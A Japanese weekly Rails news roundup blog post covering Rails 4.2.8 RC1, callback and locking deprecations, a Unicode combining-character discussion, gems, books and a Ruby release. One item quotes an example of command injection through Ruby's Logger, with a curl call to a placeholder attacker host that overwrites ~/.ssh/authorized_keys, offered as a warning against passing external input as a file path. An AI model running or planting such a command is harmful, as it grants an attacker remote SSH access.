- Ruby / Rails以外の開発一般
READ MORE
こんにちは、hachi8833です。週刊Railsウォッチの記事件数が増えて泣く泣く絞り込むことが増えてきました。それでは今週もいってみましょう。
morimorihogeさんがつい先ほどfetchしたニュースです。詳しくはリンク先をどうぞ。
HackerNewsでも元論文が上昇中のようです。
Rails 4.2.8のRC1がリリースされました。問題がなければ2/25に正式版リリースとありますが、記事執筆時点ではまだ公開されていません。
変更の結果は以下です。
# activerecord/lib/active_record/locking/pessimistic.rb
if persisted?
if changed?
ActiveSupport::Deprecation.warn(<<-MSG.squish)
Locking a record with unpersisted changes is deprecated and will raise an
exception in Rails 5.2. Use `save` to persist the changes, or `reload` to
discard them explicitly.
MSG
end
reload(lock: lock)
end
self
end
BPS Webチームのtakanekoさんから「そういえばdirtyなレコードはロックされていようといまいとアクセスすればSQLが発行されてしまうのでリロードされちゃいますね」と教わりました。
以下のようにコールバックのif
やunless
オプションに文字列を渡すのは今後できなくなるそうです。
# Railsガイドより
class Order < ActiveRecord::Base
before_save :normalize_card_number, if: "paid_with_card?"
end
PRのkamipoさんコメントで「今後コールバックに文字列を渡したらArgumentError
出すようにする」とありました。
Webチームのtsunekawaさんの指摘で気づきましたが、廃止されるのはRails 5.2からなんですね。
「う、文字列渡し使ったことあるかも」という焦りの声がちらほらとありました。文字列を渡す方法はRailsガイドにも書かれていたオプションです。Rails 5.2へのアップグレードではチェックが必要になりそうですね。
修正はclone
をdup
に変えるだけというピンポイントにキモチイイものでした。clone
とdup
の違いについて一同で速攻調べました。
dup はオブジェクトの内容, taint 情報をコピーし、 clone はそれに加えて freeze, 特異メソッドなどの情報も含めた完全な複製を作成します。
clone や dup は浅い(shallow)コピーであることに注意してください。
Rubyリファレンスマニュアルより
従来のclone
ではfreezeが解除されなかったということですね。
“動くな! Unicode警察だッ”
「Ruby 2.4の正規表現でウムラウト付きä
あたりの動作がおかしいゾ!」という記事ですが、いろいろとツッコミどころが多く、BPS社内で容赦なくマサカリが飛んできました。
"ä".dump
したら"\"a\\u0308\""
になるんだから、"ä".each_char.to_a
が["a", "̈"]
になるのは正しいのでは?ä
って結合文字だよね?ということで真に受けてはいけない記事でした。
最初に読んだとき、ä
はスウェーデン語などで使われているので、本当に問題ならずっと前に騒ぎになっていたのでは?と思ってしまいました。
日本語圏ではめったに着目されませんが、Unicodeの仕様では以下のどちらも許容されています(参考: Unicodeの基本コンセプト)。
これらの文字は、結合かどうかにかかわらず画面では1文字として表示されるので見ただけではわかりません。
↑上はRuby 2.4での結果です。
確かに、RailsのActiveSupportには#normalizeメソッドがしっかりありますね。ウムラウトはもちろん、後述のカタカナから分離した濁点・半濁点も正規化してくれます。
そういえばRDBMSのコレーション(collation)における単独ä
と結合ä
の扱いはいかにも実装に依存しそうですが、Unicodeの仕様どおりなのは果たしてどのRDBMSなのか、バイナリにしなくても区別する/しないを指定できるのかなどが気になってきます。
日本語圏でこれと少し似ているのが、カタカナの半濁音「パピプペポ」が、変換のはずみで半濁点「U+309A」が「ハ゜ヒ゜フ゜ヘ゜ホ゜」のように分離してしまう問題です。濁点も同様です。
MacとWindows間でやりとりしたファイルの名前などでときどきこの問題が発生します。
しかもUnicodeの全角カタカナ半濁点には2種類あり、後者の結合用半濁点に変換されてしまうとブラウザ上などでは1文字として表示されるので目視で確認できず、より厄介です。
babaさんおすすめの一次資料はボリューム感たっぷりなので、別の機会に追ってみたいと思います。
昨年末の記事です。以下のようにLogger#new
の引数にパイプ付きのcurlを食べさせると実行できてしまうという指摘です。即脆弱性につながるものではないにしても、Loggerといえどもファイルパスの引数に外部入力をそのまま食べさせるのはやめましょう。
# http://gavinmiller.io/2016/how-is-logger-susceptible-to-rce/ より
Logger.new("|curl http://attacker.url -o ~/.ssh/authorized_keys")
Gavin Miller氏のブログはRailsのセキュリティ関連の記事が多く、参考になります。
HanamiといえばRailsのオルタナティブとして東ヨーロッパ方面で人気のRubyベースのWebフレームワークです。日本の花見の季節に合わせてリリースしたいようです。
現時点のコミット数は1300台で、Railsの60,000台とは比較になりませんが、健闘しているようです。
BPS Webチームのオブジェクト伝道師kazzさん御用達ですね。GoFのデザインパターンは23ありますが、その中からRubyに向いた13のパターンを選んだそうです。
コード中心で説明が簡潔なのでとても読みやすいと思います。
gitのdiffを使ってrubocopやflayを狙い撃ちでかけられるようです。GitLabやBitBucketのCIにも統合できるとあります。ランナーが豊富なのが目につきます。
オートコンプリートのデータを、データベースからLIKE
で取り出す代わりにRedisから送り込むことで高速化する方法を解説しています。
RedisはKVS(key-value store)をメモリ上に構築するソフトウェアです。
紹介されているスクリプトを~/.pryrcに貼るだけで、pry-railsのプロンプトに現在のenvを表示してくれます。
「これ便利かも!」という声があがりました。本番でコンソール作業中に.envを設定し忘れていてもこれならすぐ気づけそうです。
早速やってみました。う、表示が狭くなった…
RubyGems.orgのランキング情報を解説しています。
Open-Source Software. What is in a poke?の「All Time data」より
ランキング上位なのに日本語記事がほとんどないgemがいくつかありますね。
git-deployはHeroku風にgit push production master
で簡単にデプロイできます。Railsに限らず広く使えるgemのようです。
一同でランキングを見ているとgonの人気も高いことに気づきました。gonはRailsからJSONをブラウザのJavaScriptに渡せるgemです。
これは私の推測ですが、gonのランキングがこんなに高いということは、RailsがバックエンドでJSがフロントという構成がかなり増えているということなのでしょうか。
Railsのi18n(国際化)といえば、config/locales/の下にロケールごとのymlファイルをずらりと並べて切り替えるという方法が主流ですが、ymlの代わりにActveRecord経由でデータベースに保存できるgemです。
# https://github.com/svenfuchs/i18n-active_record より
class CreateTranslations < ActiveRecord::Migration
def self.up
create_table :translations do |t|
t.string :locale
t.string :key
t.text :value
t.text :interpolations
t.boolean :is_proc, :default => false
t.timestamps
end
end
def self.down
drop_table :translations
end
end
小規模であれば数個の.ymlファイルだけで何とかなったのが、規模が拡大するにつれて.ymlファイル間の一貫性が損なわれたり、特定の文言だけを数十言語に渡って一斉に串刺し更新するのが恐ろしく面倒になるというのは容易に想像がつきます。いつかはこういう日が来ます。
翻訳文字列をyml管理からデータベース管理に切り替えたい方は要チェックです。
リポジトリの最後にあるBEYOND YML FILES – DYNAMIC TRANSLATIONSも良記事です。ヨーロッパの小国では自国語だけでWebサービスを作ってもまるで稼げないので、国際化・多言語化は常に切実な問題です。
簡単ながら良記事です。すべてRubyの機能だけを使うので、pry-debuggerなどが使えない状況で役に立ちそうです。もちろんpryで使ってもかまいません。
super
がどこで呼ばれているかをその場で調べるにはTechRacho記事『RubyのIRBやpryでメソッドの定義元をすっと調べる方法』でもご紹介した#method
メソッドを活用している例が多いですね。まだまだいろんなことができそうです。
なお、以下は著者もまだ方法を見つけられていないそうです。どなたかわかりますでしょうか?
コード量が恐ろしく少ないのが特徴です。WARNINGと4回連続で書いてあります。チャレンジャー求む。
栄えある1位は『Working Effectively with Legacy Code』でした。何と2004年の本です。
[tmkm-amazon]B005OYHF0A[/tmkm-amazon]
[tmkm-amazon]B01AN97W08[/tmkm-amazon]
一同でランキングを見ていて、『JavaScript Good Parts』の内容が古くなってるらしいとの話が出たので、QuoraにあったQ&Aを貼っておきます。
[tmkm-amazon]4873113911[/tmkm-amazon]
文字どおりOSをゼロから作るという企画です。ハードウェア(電気)の知識も必要とあります。
ベータ版書籍をリンク先で無料でダウンロードできます。サンプルコードは記事執筆時点で3日前と、まだ湯気が立ってますね。
今までGit化されていなかったとは知りませんでした。
StackOverflowのタグベースで分析しているので、プログラミング言語でないものもいろいろ混じってます。週末だから趣味、とは限らないのでいろいろと想像を巡らせてしまいます。
上のグラフはタグごとの質問数で、左上ほど週末に質問数が増えているようです。左上の頂上ではアセンブラとHaskellとOpenGLがトップを争っています。SharePointが左の下にさみしく落っこちているあたり、週末SharePointのつらさがしのばれます。(´・ω・`)
予定どおりリリースされました。おめでとうございます。
詳しくはリリースノートをご覧ください。ガベージコレクションを含むパフォーマンスがいろいろと改善されたようです。
なお記事執筆時点ではまだhomebrew-coreには反映されていません。
今週は以上です。
ソースの表記されていない項目は独自ルート(TwitterやRSSなど)です。